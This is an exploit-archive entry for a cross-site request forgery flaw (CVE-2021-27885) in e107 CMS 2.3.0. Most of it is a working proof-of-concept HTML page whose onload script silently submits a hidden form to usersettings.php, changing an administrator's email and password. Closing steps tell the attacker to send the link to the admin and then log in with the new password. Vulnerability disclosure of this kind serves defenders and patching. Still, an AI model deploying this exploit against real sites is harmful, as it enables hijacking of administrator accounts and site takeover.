
# Exploit Title: e107 CMS 2.3.0 - CSRF # Date: 04/03/2021 # Exploit Author: Tadjmen # Vendor Homepage: https://e107.org # Software Link: https://e107.org/download # Version: 2.3.0 # Tested on: Windows 10 # CVE : CVE-2021-27885 CSRF vulnerability on e107 CMS ## Bug Description Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link. ## How to Reproduce Steps to reproduce the behavior: 1. Create a CSRF login POC using the following code. ``` <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Cross Site Request Forgery (Edit Existing Admin details)</title> </head> <body onload="javascript:fireForms()"> <script language="JavaScript"> function fireForms() { var count = 2; var i=0; for(i=0; i<count; i++) { document.forms[i].submit(); } } </script> <H2>Cross Site Request Forgery (Edit Existing Admin details)</H2> <form method="POST" name="form0" action=" http://localhost/[path-to-e107-cms]/usersettings.php"> <input type="hidden" name="loginname" value="admin"/> <input type="hidden" name="email" value="[email]"/> <input type="hidden" name="password1" value="[password]"/> <input type="hidden" name="password2" value="[password]"/> <input type="hidden" name="hideemail" value="1"/> <input type="hidden" name="image" value=""/> <input type="hidden" name="signature" value=""/> <input type="hidden" name="updatesettings" value="Save settings"/> <input type="hidden" name="_uid" value="2"/> </form> </body> </html> ``` 2. Replace the email and password with the valid credentials. 3. Send the link script to the victim (admin) to make them click. 4. Login with new admin password
E107 cms 2.3.0 csrf Vulnerability / Exploit Source : E107 cms 2.3.0 csrf